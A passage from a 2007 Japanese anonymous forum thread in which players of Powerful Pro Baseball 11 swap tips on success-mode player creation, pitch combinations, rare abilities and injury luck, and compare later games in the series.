カーブの方がいったん浮くから読みやすいと思うのだが
230 :
名無しさん@お腹いっぱい。:2007/08/31(金) 23:42:49 ID:MCAW9XGc
>>229 言葉では説明しずらいけど、
シンカーは変化し始めるのが早い感じかな。
自分はそう感じる。
231 :
名無しさん@お腹いっぱい。:2007/08/31(金) 23:45:37 ID:MCAW9XGc
>>229 言葉では説明しずらいけど、
シンカーは変化し始めるのが早い感じかな。
自分はそう感じる。
シンカー系統はCPUに打たれやすくコントロールがカーブよりばらつく
対CPUならカーブ>シンカー
対人戦ならシンカー>カーブ
シンカーは外角低めを狙えば結構決め球として重宝してるんだけどなぁ
守備職人ってどんな効果?
>>234 確かフライのボールに背を向けて走る時に通常より速かったり、セカンド・ショートだと華麗なグラブトスが出来たり、守備関連の動作のスピードが上がるとかそんな感じ…のはず。具体例は怪しいが守備動作が速くなるだったと思う。
せっかく人気者の外野手が出来たのに、なかなかスタンドにボール投げれないなー
栄光でハッスルから久遠の友情発生させるために練習して
友情芽生えずまたどんよりからやり直しになるのは勘弁してほしい
ピッチャーでキャプテンになる前、帝王相手に初回に糞守備で中飛2本を三塁打・二塁打にされ5失点KOされてオワタ
・・・と思ったらいつの間にか6対5で勝っていた。
非キャプだと本当に運が全てなんだと改めて感じた。
勝てばキレ2はつかないんじゃなかったか?
241 :
名無しさん@お腹いっぱい。:2007/09/01(土) 17:17:37 ID:juW5IRDU
イレブンでキャプテンになるのやめていろいろ試してみた。
軽井沢→サッカー部キャプテンだから駄目。
エリリン→マネージャーだから駄目。
雪村→彼には悪いが野球部を任せることは出来ない。
・・・雪村哀れw(;_;)
萬田、実は嫌いなのか?そういや雪村と萬田が絡むイベントってないよな。
242 :
名無しさん@お腹いっぱい。:2007/09/01(土) 17:41:25 ID:VMlcek7M
つうか雪村って留年してるんだっけ、てことは満田と年齢同じか?
友沢との買い物イベントでセンス○が消えたorz
244 :
名無しさん@お腹いっぱい。:2007/09/01(土) 20:33:01 ID:kLe/KyFv
最近はじめて天才型というものの存在を知った。
はじめたときに天才型ってすぐわかる?
あとやっぱり極めてる皆さん方は天才型が出るまでなんどもあきらめるのが普通だったりする?
>>229 俺はカーブはゆっくり変化するから逆に打ちづらい。
シンカーはなんか自分の体感速度にあってるような気がする。
ちなみに操作方法はアナログ。
そういえば十字キーの友達はみんなカーブ大好きだったな。
天才は投手の場合はすぐわかるよ。(総変化量が多いから)
野手の場合はパット見センス×だからステータス見るまでワカンネ(゚听)
俺は11は2回しか出たことがない。(しかもどっちもパワ大普通(´・ω・`)
野手は足肩守備Eで7以上のものがあれば確実に天才
出現率は0.2%なので出るまであきらめるのは無謀
15人出たけど夢をかなえたのは四人(´・ω・`)
そうか、、、全日本へんでがんばってたけど500回に一回じゃ無理だな、、、、
ダイジョーブ成功を待つか
>>248 ところでなんでそんなに死亡者が、、、笑
ダイジョーブ?
>>250 覚えてるだけで
イレブンで機材でないのでやめたのが四人
紅白戦敗北三人
博士一人
ケガ率一桁でアキレス腱一人
虫歯が治らずイライラして消したのが一人
あとは忘れた
全日本はあんまり強いの作れない
帝王あたりなら凡才君でもオールAくらい作れるしがんばれ
>>251 そうなんだ、、、、ぱっぱと平均以上の選手作れちゃうから重宝してたんだよね
しかし俺からしてみれば近年では珍しい難易度のゲームだよ
>>248 こっちも天才は15人くらい出たが、今残ってるのは4人だ。
投手2人と野手2人。
>イレブンで機材でないのでやめたのが四人
野手も投手も上手くいかなきゃ天才も凡才以下だし、もったいないとは感じつつも自分も諦める。
>>249 野手はセンス○orセンス×がでるまで粘る(主にセンス×狙い)
野手だとセンス×ホストスタートと天才は大差ないし。
投手なら128km以上でコンFスタEまで粘る(野手能力も考慮)
254 :
名無しさん@お腹いっぱい。:2007/09/01(土) 22:17:38 ID:Lb6ouW9D
天才が15人もでたのは凄すぎね?
一人しか天才がでてこなっかた俺涙目
0.2パーで15人て奇跡
ちょっと前までパワーAで広角のついた選手作ってはしゃいでたじぶんが信じられん
>>254 >>255 一人選手作るのに最低20回はやり直す(あきらめる選択)からね。
センス×出るまで30回→ホスト出ない→やり直し。
両方条件満たす→紅白戦でサヨナラ満塁HR打てず→やり直し。
この前作った捕手はこんな感じで100回はやり直したw
今も最後に天才出てから600回はやってるし、もうじき出てくると思う。
>>256 すげー脱帽
たまにやばい選手作ってる人見るけどやっぱそれなりの努力と実力が必要なのね。
258 :
名無しさん@お腹いっぱい。:2007/09/01(土) 22:33:16 ID:Lb6ouW9D
>>256 ものすごい頑張ってるな
ホスト出なかったらやり直している俺とくらべもんにならねー
チンチロ使えばパワー200オールAに広角PHチャンス対左etcの選手もできる
強すぎてつまらないから使ってないけど
チンチンとかエロイな
ダブルアップとか性交したことがないな・・
いつも外に溢しちゃうよ・・・・
卑猥なレスですね><
たまに一塁以外に頭から滑る選手がいるけど、あれは何か条件があるの?
盗塁の時に滑るのは積極盗塁の選手だと思うけど(巨人の鈴木尚広とか)、
サクセスで作った選手の中で、積極盗塁・走塁は付いてないのに
普通の走塁や帰塁の時にヘッドスライディングする選手が何人かいる。
HS234はサクセスじゃレアな得能
矢部も所持してるよ
盗塁がすごい楽
やろうとすればオーバーなしでも3盗も可能
>>262 >>263の書いた通り。ヘッドスライディングは(能力画面では確認不可だが)実は2種類存在していて、1塁に走る時のみのヘッドスライディング、全ての塁にヘッドスライディング出来るものの2つがある。
ポイントで取れるのは1塁のみのはず。そもそもサクセス選手で後者のヘッドスライディングを入手出来るかどうかが怪しい。
5の頃は村松と言う特殊能力で、村松選手のみが出来たヘッドスライディング。
イレブンの練習機材を見つけるイベントってサクセス開始時の選択肢を「いいえ」にしてても起こる?
ID:EvRoS7pqだけど真帝王大学でまあ微妙に全日本よりもいい感じの投手出来たよ。
まあルーキー使ってるけど、、、
上のアドバイスしてくれた人たちサンクス
267 :
名無しさん@お腹いっぱい。:2007/09/02(日) 09:14:53 ID:YCY/b+jo
プロ入り決めるとあおい先生泣くって本当?
詳細きぼん
11をあおいのために買おうか迷っている
>>253 すごいな・・・・
俺は最近は友達やお気に入りのキャラの名前でいっぱい作って全日本ばかりやってる。
269 :
名無しさん@お腹いっぱい。:2007/09/02(日) 10:51:37 ID:97m1SrQV
>>267 本当。
最近、サクセスでスリークォーター20がえらく強い気がするんだが、フォームによる強さってある?
能力同じでも、フォームが違うとオート試合では奪三振数が大分違うんだが。
スリークォーター20って大野か
同じ能力でフォームによる成績のばらつきは、絶対あるよね。
野手の場合は、PH・広角持ちでパワー180で比べてみると、スタンダード33(掛布)が安定してると思う。
あくまで、個人の使いやすさや感覚によるけど。
流れきって悪いんだけど、マイライフで。
難易度が変わるのは、止められないの?
直球と変化球ではリリースする瞬間にわずかに違いがあるって説明書でてたけど
どうちがうのかさっぱりです.
誰か教えてくれまいか?
>>273 着弾点の出る早さが違う
直球は少し早く出て変化球は少し遅い
リリース○が速く感じられるのはストレートでも変化球と同じ少し遅いタイミングで着弾点が出るようになるから
ごめん、マイライフ用のスレがあった。
邪魔して悪かった。
それで井川やら和田が打ちにくいんだな。d
黒田もきついなあ
>>274 サンクス
てっきり腕の振りが違うとかだと思ってピッチャーの動きばかり見てたorz
279 :
名無しさん@お腹いっぱい。:2007/09/02(日) 20:08:37 ID:97m1SrQV
みんなは変化球何がおすすめ?
最近固定化して詰まんないから教えてくれ。
とりあえず、俺は
スラ2、Sスラ3、Vスラ5、が強いと思う。ただし速球中心は無しで。いまのところ、非キャプでオート試合で20奪三振の確率が5分の4はある。
おすすめなんて聞いたら
ますますその変化球固定になるじゃない
281 :
名無しさん@お腹いっぱい。:2007/09/02(日) 20:23:56 ID:97m1SrQV
いや、人によって違うだろうからさ、色々聞いてみて、パターンを増やそうと思ってさ
282 :
名無しさん@お腹いっぱい。:2007/09/02(日) 20:51:03 ID:tLeb70WN
強さじゃなくて好みで行くなら
スライダー2
Dカーブ4
フォーク3
みたいなのが好き
四球種持ちを勧めてみる
決め球を持たせにくいからあまり三振は取れないけど
打たせて取るピッチングが楽しいんだよね
一ノ瀬みたいに下方向以外の四つを覚えさせると見栄えが良い
オーペナで活躍するかはわからないけど
一応サクセス中防御率0.31とか出したりする
スローカーブは1あるだけでも役に立つよね(ペナントやんねーからそっちは分からんが
わざと釣り球として投げてそのあと速球や高速変化球で三振とるとかなりスカッとする
>>283 俺も4球種好きだな〜球速は150未満でw
スライダー4 シンカー3 チェンジアップ2 Hシュート1
スライダー3
ドロップ5
シンカー2
とか
スライダー3
ドロップ3
フォーク5
ドロップは対人・対COMのどっちでも通用するから好き
>>279 >>214の選手の奪三振が多い一番の要因は変化球の組み合わせじゃなくてジャイロボール
ジャイロはオートにめっぽう強い
288 :
279:2007/09/02(日) 22:43:22 ID:97m1SrQV
>>287 今作ったやつなんだが、
140k コンスタBA
オリスラ2、Sスラ3、Vスラ4
対ピンチ、打たれ強さ、尻上がり、低め、逃げ球
で、サクセスのオート試合で20奪三振した。
ジャイロが強いのは勿論だけど、COMに強い球種の組み合わせってのはやっぱりあると思うぞ。
それとも、逃げ球効果?
サイトとかで最強の特能は逃げ球って見たんだが。
>>288 サクセスのオート試合はある程度の能力があれば割と20奪三振はいける
逃げ球はオーペナなんかで結構有効だけど奪三振に絡んでくるわけじゃない
ドロップ+シュートの組み合わせが1番奪三振取りやすいみたいだな。
291 :
名無しさん@お腹いっぱい。:2007/09/03(月) 00:02:41 ID:xf0d+jcA
案外カーブ、シンカー、スプリットの3つ持ってて球速い投手役立つ。三振も凡打もとれる。
COMパワフル相手に三振何個くらいとれる?
俺は
左投げ155`スタコンAスライダー4スクリュー4フォーク3
対ピンチ対左ノビジャイロ逃げ球尻上がり
の投手で22個までとれた
三振取るためにわざとファールフライ全部見逃して余裕こいてたら一発もらったけどw
11はよく強振使ってくるから変化量さえあれば三振とりやすいな
293 :
名無しさん@お腹いっぱい。:2007/09/03(月) 00:52:06 ID:BiTcihhb
>>290 俺もそれサイトで見た。
理由はその球種が強いからだよね。
それとは別に、単独では強くないけど組み合わせると強くなるって球種があるのかな?って気になってる。
例えば、Vスラは単独だとキレが悪くて見極められやすいけど、スライダーと組み合わせると途端に強くなる、みたいな
>>293 お前Vスラ大好きだなw
>>292 俺は
右投げ157`コン180スタ181
スライダー3カーブ3SFF4
対ピンチ対左ノビキレ尻上がり勝ち運
の投手で20個まで
他にも高レベルスローカーブ持ちの投手ならCOMからはかなり三振取れるな
164km/h コン212Aスタ170A ジャイロ・ノビ・直球中心・リリ○・力配分
変化球なし
という色物が居るんだが
17奪三振・完全試合達成した時は喜びに震えた。
5分後、何やってんだろ俺と思って寝た。
連打本気ストレートと、手抜きストレート、ボール球のスローボール混ぜていけば
ストレートだけでも結構いけるもんだな。ちなみに17奪三振のうち12は見逃し三振。
ストライクゾーンには一切スローボール投げてない。
296 :
名無しさん@お腹いっぱい。:2007/09/03(月) 03:07:40 ID:q6XU68k7
>>295 よくそこまで基本能力あげたな。コントロール200越えはすげえ
どうでもいいけどオーペナで松坂が1試合30奪三振してて吹いた
297 :
名無しさん@お腹いっぱい。:2007/09/03(月) 03:31:02 ID:BiTcihhb
俺も見たことある。
本気でワロタw
12回までやっても36個しか三振とれねーぞ
異常に補正がかかってんだろな
>>296 >>295の選手は改造だろう
リリース○と言えば決定版だけど決定版でコントロール200越えはさすがに無理だわ
変化球なしじゃ試合も活躍できないし
>>298 ダイジョーブアリという考えはお前には無いのか
サクセスの試合も配球次第では変化球ナシで結構イケるから困る。
すぐフルカウントになるから四球付いたり球数多くなってスタミナ切れするけど
>>300 スマン
160`越え投手にダイジョーブが来ても俺なら決定版ではコン180ぎりがいいとこだったんでつい疑ってしまったわ
サクセスの糞守備をストレートだけでのり切れれるとも思えなかったし
世の中にはメチャクチャうまい人もいるもんだな
ちなみに力配分取ったことないんだけどどうやって取った?
今度作る投手に付けてみたいから
なにこの新しい方法での自慢厨たちは
303 :
名無しさん@お腹いっぱい。:2007/09/03(月) 16:00:21 ID:BiTcihhb
力配分は彼女と家でデートでゲームして、手加減するととれる。要は運。
効果は下位打線相手には能力がダウンするという、緑能力だけど実質的にはマイナス能力。
スタミナ消費ダウンもお忘れなく
相手のミートとパワーが低いと、能力ダウン(スタミナ消費も減る)じゃなかった?
打順は関係あったっけ?
先発投手には付いててもいいと思う
キャラ付けにはぜひ欲しい能力だな
>>292 COMに22三振取られたことあるw
作った投手と対戦して、12回、ヒット3本(ホームラン1本)、奪三振22
159km、コンCスタA Hスラ2 カーブ4 サークルチェンジ4
ジャイロ、リリース○、速球中心など特能10個の投手。
ミット移動なし、絶好調で対戦したら全く当たらない。
自分で使うと、パワフル相手に13奪三振くらい。
>>301 疑って当然でしょ。
怪我4もないし、コンA212は奇跡に等しい。
変化球無しだと、操作時の8回までに被安打>奪三振で試合のポイントが入らない。
非キャプだとしても、黒龍館や西強は速球オンリーじゃ無理だろ・・・
ダイジョーブ3回くらい成功したとしても、ここまで確変起こったら俺ならネタ投手じゃなく総変12くらいのエース作るし・・・
まあ本人が改造じゃないと言うんだから信じるけど、やっぱ疑っちゃうわな。
>>303 力配分は赤能力
つーか全日本そんなにだめか、、、
真帝王なんかよりコンスタントに使える選手が作れるんだがなあ
コントロールB
スタミナB
急速148
ナックル7
スライダー3
守備、打撃ザル
ってこのスレ的に見たらやっぱ話にならない雑魚?
>>301 オレはガンダー拉致イベントで力配分の薬ゲットした事がある
>>309 書いた以外にも能力はついてるんじゃね?
キレ4もついてるが、ストレートだけのピッチャーだし書く必要ないと思って書いてないだけとか
同じ理由でケガ4も書いてないだけとかじゃね
160、コAスBくらい目指してて最後らへんでダイジョーブきたら誰でも行くんじゃね
決定版のコントロールの上げにくさは異常
球種にもよるけど、自分で操作するときは変化球は4くらいでいいや。
6とか7とかあると曲がりすぎてストライクが取りにくくて
リリースありって事はパワ大だろうし、超絶だな
でも、変化球練習を球速、制球にあてればいけるんだろうか・・・?
ダイジョーブ2回くらいこないと俺には無理
まぁ、ストレートオンリーってだけで無理かな
マイライフ使ったとかそういう考え方はないのか・・・
釣りやればリリース○は付くわけだし〜大で作ったとも書いてないし
ところで演劇部の演劇を見るイベント出た人いる?
攻略本に書いてあるけど全く発生したことない
318 :
名無しさん@お腹いっぱい。:2007/09/03(月) 21:04:41 ID:QPrfI4Yb
今攻略本のオリジナル選手を見て思ったんだが、
帝王大で阿久津はなかなか脅威的じゃないか?
ヘタレな自分には作れない。
>>319 まぁ〜そう落ち込むな
ネットの人たちは相当すごいから
俺は11シナリオが好きで結構長くやってるが150AB 総変11くらいが限界のヘタレだ
何か11だと自分の投球術と合わないんだよな・・・・CPUの打撃がひどいと言われてる12はそうでもないんだが・・・
みんな凄すぎだよ
俺が作る二刀流は145DB総変6 2DCECDEが限界だし
普通の投手なら150BB総変10ぐらいが限界
>>316 一回だけ発生したけど、選択肢多くてどれ選べばいいかわからんかった
>>310 この前全日本で作った投手
左左
157kmコンB159スタE59
Hシュート2 ドロップ3 Vスラ4
ピンチ4 左4 打たれ4 回復4 安定4 ノビ ジャイロ 重い球 牽制○ 奪三振 人気投手
ライジングキャノン持ち。
他の大学ならこの能力に総変+2くらいは可能。
でも奪三振が容易に取れるし、総変気にしなければ全日本も悪くはない。
全日本、音楽も好きだし。
ちなみにライジングキャノン、ノビ無しストレートよりは速いと思う。
ライジングショットはオリスト並の遅さだからやめたほうがいい。
すげーと思ったら、スタEか。
全日本はライジングキャノンと奪三振のためにあると思う。
でも、抑えは威圧感が欲しくてカレンとデートしちゃう俺。
あと、サクセスで荒んだ心を楽しいエンディングで癒すためにも全日本は必要
326 :
名無しさん@お腹いっぱい。:2007/09/04(火) 05:12:31 ID:U0yc7K4h
ライジングキャノン出ね〜。だるくても移動技使って、ショット取ってから十回は猪狩とタッグしたのに・・・
実はなんか条件あんのかと気になってしまう。
たんに猪狩と友情タッグすればいいんだよね?
327 :
名無しさん@お腹いっぱい。:2007/09/04(火) 05:16:23 ID:U0yc7K4h
連投スマン
ジャイロ、MFB、オリストは重い球が効果なくなるってきいたんだが本当?
実際に、ジャイロも球が軽くなる気がするんだよね。
328 :
名無しさん@お腹いっぱい。:2007/09/04(火) 08:01:03 ID:k5bLq9B/
>>326バカか?
つ猪狩と神童のダブル友情タッグのあとに覚えれる
最後の一行だけ書き込めば十分なのにね
>>329 ヒント:夏休み
ではなくただのツンデレ
331 :
名無しさん@お腹いっぱい。:2007/09/04(火) 11:36:49 ID:uwS5UMbY
俺がプロ入りを決めたときあおい先生が泣いた
(;´д`)
332 :
名無しさん@お腹いっぱい。:2007/09/04(火) 15:39:54 ID:WX954+Vz
つか昔は漫画キャラをつくりたかったから
強い選手作れる「帝王」でやってたなぁ
でも最近は強い選手でペナントしても萎えるし「全日本」で微妙な選手量産してる
>>332 俺はその域に達するまで3年かかったな
昔はオールAとかとにかく強い選手でアレンジチームを固めてた
>>326 >>328 ショット取った後なら猪狩タッグのみでおk(少なくとも決定版は)
>>323のは、残り1日目の昼になんとかキャノンイベント発生。
全日本は奪三振、ライジングキャノン、友情タッグ連発で高能力全部満たすとなるとかなり大変・・・
335 :
326:2007/09/04(火) 19:24:18 ID:U0yc7K4h
>>328 >>334 さんくす。
ショット取って以降も十回は猪狩とタッグしたんだがイベントが起きないよ。
運が悪いだけ?
159kなのに、ライジングショットのノビの悪さにはなける。体感140代には落ちてる。
>>335 10回で起きないのは相当運が悪い。
大体3回くらいで起こるけどなあ。
たしかキャノンイベントは猪狩と球速タッグ後1/3の確率で発生だし。
帝王大学でプレイして
最後の栄光学院戦1−1からスタート
そして最後友澤が久遠からサヨナラHR打ってケリつけたんだが
何かちょっぴり嬉しかった
>>336 キャノン取得成功率のかわりにはあまり使えないけどな・・・
久しぶりにこのスレ見たら自慢大会になってて吹いた
アレンジでサクセスキャラだけで集めたらメイン一塁一人もいねぇ!
捕手大杉w投手陣はいい感じね
思えば10超決が選べるサクセスキャラ数が最高だったんだよな
せめてサクセスキャラだけでもコンバートできればよかったのに
>>339 俺もやったな。仲居に一塁やらしてたな。
外野と一塁がいないんだよねー
341 :
名無しさん@お腹いっぱい。:2007/09/05(水) 08:26:13 ID:2k2pGz6e
そしてキャッチャーが無駄にいる
342 :
名無しさん@お腹いっぱい。:2007/09/05(水) 09:07:04 ID:0RbMrq6H
仲居か福家でガマン。
開幕だと福家もサブポジなかったはず。
仲居はエラー多いけど、俊足好守で一塁としてはかなり優秀だしな。
俺はサクセスの大学生チームで試合やるのが好き。
矢部が不動のセンター。
あるあるw
ジャンケントリオを代走要員で使うのが楽しい。
なかなか参考になる意見サンクス
イレブンなんかやらないから中居の事を馬鹿にしていたよ
矢部の強さは異常
345 :
名無しさん@お腹いっぱい。:2007/09/05(水) 11:08:35 ID:2k2pGz6e
一番 遊 友沢
二番 中 矢部
三番 三 清本
四番 左 バンガ
五番 DH 福家
六番 捕 二宮
七番 一 中居
八番 右 日下部
九番 二 初野
これが最高
サクセスの試合ポイントについて詳しく教えてください
348 :
名無しさん@お腹いっぱい。:2007/09/05(水) 16:05:27 ID:1yEtq23v
友達と対戦する時、変化球表示ありでプレイしてるんだが、
球種が判ってても打たれずらい変化球って何かな?
例えば、オリ変を「ストレート」って名前にしたり、
「フォーク1、フォーク6」などの第2変化球を持たせたりしないと
お互い打ち合いになってしまう。
>>348 残念ながら11は打つの簡単だから変化球表示有りで抑えるのは相手がよほど下手でないかぎり不可能に近いw
あえてあげるなら不規則変化のナックルだろうな
変化球表示ありって
変化球無しで試合するようなもんだろ
名称でごまかすくらいなら表示なしにすればいいだけの話じゃないか
>>349 やっぱそうか
対戦相手も俺も下手なんだが…
高速ナックル投手は作ったけど強力だな。
353 :
名無しさん@お腹いっぱい。:2007/09/05(水) 20:25:59 ID:vdaDPo82
イレブンで165BBいけんじゃね?とか思って育ててたら3連続でジャンケン負けて急速練習出来なかった。おかげで半端投手になった。
出来た投手
160BB スラ2Sスラ3Vスラ1
ジャイロ ノビ4 重い球 etc
ジャンケン氏ねよ
それ開幕版じゃなければ良い方だよ
変化球表示ありにするんだったら、
無しの状態で球種を絞るほうが対戦楽しめない?
ストレートとフォークとスローボールだけしか投げないとか。
356 :
名無しさん@お腹いっぱい。:2007/09/05(水) 22:23:52 ID:0RbMrq6H
イレブンでいい感じにピッチャー作成中、最後の週に禿げキター!
オワタ(^o^)/
これだからサクセスはやめらんねーぜ。
そうそうw ドンマイ
358 :
名無しさん@お腹いっぱい。:2007/09/06(木) 00:43:25 ID:A0imiPXb
終盤どうしても故障率高いときの練習とか重要なときの禿とか挑戦するときに
目をつむって耳を塞いだりしないか?
とりあえずL2押しをやめて、無駄に慎重になる
だが現実は非情にもやってくる
ぎゅっと目を瞑りながら文字送って
「ピコーン」て音したらガッツポーズ
俺は逆だなw まったく普通の当たり前のイベントのように極力テンポよく・・
ドカーン! orz
ところで、チャンス4 チャンスメーカー 逆境○ 初球○ 粘り打ち
の選手がいるんだが、どんだけメンタル強いんだと。。。 でもエラーE
>>358 俺はボタン連打しながら適当なテレビ番組を見てしまう。
そしてなにも気付かずに特製ジュースが飲めなかった
>>363であった
>>358 あるあるww
故障の時のバキ!!はトラウマ
俺は心を無にするぜ
wktkすると犠牲になった時のショックが大きいから…
爆弾が付いてるときの犬川猫神タッグイベントに未だにびびるw
つーかランキング試験の犬河に挑戦するやつあれクリア無理やろ
369 :
名無しさん@お腹いっぱい。:2007/09/06(木) 10:25:53 ID:edff3uRy
地下の穴掘りってやったときある方、稼ぐのにどれくらい時間かかりましたか?
>>358-366 どれも心当たりがあって笑えた。みんながプレイしてるところが想像できる。
358の振りがよかったな。
>>368 できるぞ。俺はクリア率4割くらい
カーソル速度が遅い最初の4〜5球を
変化球ど真ん中でしっかり取っておくこと
あとはスローボールでスナイプ
投球モーション中に的が動くとかすでに野球じゃないよな
374 :
名無しさん@お腹いっぱい。:2007/09/06(木) 20:07:41 ID:RqdjMd+G
開幕版で大丈夫なしで165AE創変12ノビ重い球って出来るかな?
作れる人作り方教えてくだされ
開幕ならチンチロで大金を稼いで一度も休まずに練習しつづければ…
ごめんなさい
376 :
名無しさん@お腹いっぱい。:2007/09/06(木) 23:10:23 ID:D31qc9Z7
ジャイロありのノビ4と無しのノビ4って違うの?
377 :
名無しさん@お腹いっぱい。:2007/09/06(木) 23:24:36 ID:2sYafC24
今初めて二刀流を作ってみた
140DB スラ2 スロカ1 シュート4
対ピ ノビ 人気
弾道2CCCCCC
特能なし
初めてのわりにいい感じだった。
野手の特能がほしかったな。
378 :
名無しさん@お腹いっぱい。:2007/09/07(金) 00:01:00 ID:z+y1ObOO
>>374 かなりきつい。てか、165kにノビつけても意味ないらしい。165以上には達しない。
>>376 ノビは球速+5 ジャイロも+5。効果は重複するので意味ある。ただし上限はノビがあろうとなかろうと165まで。
絶好調じゃないと165は出せないからノビは意味あるだろ
捕球時の音のせいかノビ有りの140よりノビ無しの145のほうが速く感じる
おまいら11以外のパワプロやってんのか?
382 :
名無しさん@お腹いっぱい。:2007/09/07(金) 01:47:47 ID:F6Og8//P
11でとまってる。
新作を様子見してるが11を超える面白さとはどれもおもえん。
ミート打ちの極悪さを除けば良作らしいし、かれこれ3年楽しんでる。
この間GCごとオラオラしちゃって使い物にならなくなった
俺は12で止まってる。
サクセスの話的には13と14もやりたいが、ミット移動無しとかいろいろ変わってるのが嫌だから。
11は俺みたいなヘタクソでもそれなりの選手が作りやすいのがいい。
俺も12だな
11より若干だけど打撃が難しいのと楽天とか交流戦とかデータが新しいから
でも一番長くやったのは11で今でも結構遊んでる
13、14は買ったけど一日で売ってもう新しいパワプロは買わないと決意した
12までやった
13と14のサクセスは糞らしいからなー
各キャラの友情イベント見たいが、すぐ売り払うことになりそうだから保留中
387 :
名無しさん@お腹いっぱい。:2007/09/07(金) 03:31:18 ID:P5Y8UnSI
10からやってるが、ネ申11>>>>10>12>>>>>>>14>(ry
>ゴミ13ww
俺は11≧9>12>10>>>>>>>>>>
>>13?買ってすらねぇよ
14?でてんの?
だな
13は評判悪くて買いたくなかったけど高校野球編ってことで買ったよ。
時代の流れが13→11だから友沢とか久遠とか猫犬がまだ高校時代のときの話。
友沢と久遠の関係とか犬猫の初々しい初対面シーンとかは良かった。
キャッチャーミット無しは最初ムカついてたけど自然と打てるようになった。
あと、試合中に監督から期待してるぞって言われたりとか矢部とか犬猫から
応援されたりして良かった。橘高校も良かった。みずきがらき☆すたのあきらみたいに
なってたし
みなさんはパワメジャ2買うの?
買わないで友達に借りる
11は他作に比べてペナントの選手は成長しにくいらしいな
俺は11からやり始めて12までしかやってない。
11はシナリオがおもしろいけどサクサク作れる12の方をやってる。
>>392 ドラフト架空選手のことか?
恐ろしく成長すると思うが
野手はよく育つけど投手は…
ペナント終了後にチームをセーブできますか?
いま7月だけど愛着が出てきたし、せっかくだからセーブできるとうれしい・・・
できるを
全チーム?それとも自分のチームだけですか?
開幕版と決定版はどっちがおもしろい?
400 :
名無しさん@お腹いっぱい。:2007/09/07(金) 21:06:45 ID:fVupyEX8
自分のチームだけだよ。
それでまた始めるのも出来る。
決定じゃないかな?サクセスで選べるチームが一つ増えてるし。強い選手つくりにくいらしいが。
決定ってミート打ちが弱体化してるか教えてくれ。
11をピークに以降サクセスはどんどん劣化してるよな
12はサクセスが糞。
なんだよ街システムって・・・
13は緑能力がポイント習得できるし、サクセスはまあマシ。
が、問題はありえないほど遅い球速に、変化球のキレ1、グラフィック、動きとも退化。
14はどうなんだ?サクセスの評判は悪そうだが。
>>402 サクセスは投手つくりが嫌になって
マイライフで作ったほうがいいと感じてしまうくらいに酷い
野手はふつう
栄冠がなかなかおもしろい
強打者のストライクゾーンにスローボールを放れるCOMの度胸は凄いな
>>402 強い選手を作りたい人にはすごい不評だよね。<街システム
強さ求めないでやってみるとかなりはまるよ。
14は固有キャラの劣化が激しすぎ、結構叩かれてる友沢&みずき世代から始めた自分でも酷いと思う。
街育てたら、最強選手作れるじゃん
まぁ、そこまでが長いんだけど
予告三振・HRは燃える、というか悶えるというか
11は西京とか打撃がパワフルのチームにボコボコにされるので、投げ出したくなる
まぁ、工夫すればなんとかなるんだろうけど、自分の実力じゃ運次第だわ
>>405 あれだけは思わず見逃したくなる。
あんなんでHR打ってもうれしくないけど、わざわざ見逃すのも嫌だし。
>>406 強い選手作るならメモカ2枚やらメモカ抜いてセーブ前提だからなあ。
ダイジョーブがいつでもいけるとか、こんなのダイジョーブじゃねえ・・・
11なら特にイレブンの器材くらいしか下準備が必要ないし、気楽に強い選手が作れていいや。
>>407 西強も黒龍館も今日の巨人よりはマシw
>>407 あ〜すまん(汗 簡単に強いのが作れるって意味だよ(408さんと同じ意味
俺も11の方が打撃レベル高いような気がするな。
まぁ〜ミート打ちが強いからどうにか打ち勝つけど・・・・
>>408 それそれw
その技がネットで流れてから街システムは崩壊したと思う。
あれはひどいよな〜阪神ファンじゃないけど阪神応援してたよ。
410 :
名無しさん@お腹いっぱい。:2007/09/08(土) 00:04:17 ID:rVGoGhcF
今日はほねおりにぼこられた俺がやってきましたよ。たまに覚醒するから困る。11はミート打ちの凶悪さがなければ、文句なしなんだが。
ド真ん中失投を毎回見逃してしまう俺
11最大のイラ立ちは阪神打線。 今岡とか矢野とか アホかと
413 :
名無しさん@お腹いっぱい。:2007/09/08(土) 02:48:33 ID:4ACBs45X
ROOKIESメンバー作ってみた
1 中 関川
2 右 赤星
3 一 俺
4 投 安仁屋
5 三 新庄
6 捕 若菜
7 遊 桧山
8 二 御子柴
9 左 今岡
控え 湯舟 平塚 濱中 川藤
投手が俺入れて四人だから投球回数多すぎて
奪三振トップスリー独占には萎えるがそれ以外
面白い
>>411 十字ミット移動有りだと厳しい
移動無しに慣れると打てる(当たり前か)
415 :
名無しさん@お腹いっぱい。:2007/09/08(土) 05:41:49 ID:rVGoGhcF
今スタミナ練習してたら肘が爆発した。
どうやったらマラソンで肘が壊れるのか教えてほしいぜ。
(^o^)/
どうやったら素振りで複雑骨折するのか(ry
どうやったらキャッチボールで(ry
みんなオナニーするときは全身を動かすだろう?
つまりはそういうことだ
>>416 横で素振りしてたホームランバッターにやられたんじゃね?
どうやったら球速練習でアキレス腱が(ry
422 :
名無しさん@お腹いっぱい。:2007/09/08(土) 12:13:19 ID:4ACBs45X
>>420 ジャグラー改造したら毎試合先発裏技できるの
みんな知ってる?って地味にアピールしてんの
気づいた?
全員怪我しやすいに設定したが中々怪我してく
れないからニコガクらしくないのが悲しい
>>422 ていうか岡田が居ないニコガクとか認めない
とりあえず改造厨死ねよ
424 :
名無しさん@お腹いっぱい。:2007/09/08(土) 19:11:52 ID:4ACBs45X
サクセス 全日本編 韓国・台湾戦
→6回くらいまで圧倒的な点差で勝ち越し
→ふと気になって相手のデータを見る
→相手選手TUEEEEEE!!
→逆襲
ていう展開がしょっちゅうなんだけど、仲間いる?
走力Aの1番とか、パワーAの4番がいるよな。
台湾なんかでも160キロのピッチャーいるし。
427 :
名無しさん@お腹いっぱい。:2007/09/08(土) 22:04:17 ID:5D3/gTge
決定版ってダイジョーブでにくいの?10人以上作ったけど、1回しかないけど・・。
俺の運が悪いだけ?
428 :
名無しさん@お腹いっぱい。:2007/09/08(土) 22:58:58 ID:rVGoGhcF
たかが十人くらいじゃ誤差の範囲内だろ。二十人作っても出ないときは出ないし、三人連続で出ることもある。
確率がもし50%だったとしても
1000回やったら500回も出てこない回があるわけだからな
こいつはもう失敗したなってキャラに限って出現成功で微妙な選手完成
∞回やったら∞回も出てこない回があるわけだけどなw
432 :
名無しさん@お腹いっぱい。:2007/09/09(日) 00:01:19 ID:FBHpeeKq
サブポジ
1 中 関川
2 右 赤星 投 捕
3 一 俺 遊 外
4 投 安仁屋 一 外
5 三 新庄 外
6 捕 若菜 外(一応御子柴を捕にする時のため)
7 遊 桧山
8 二 御子柴 捕
9 左 今岡 投 二
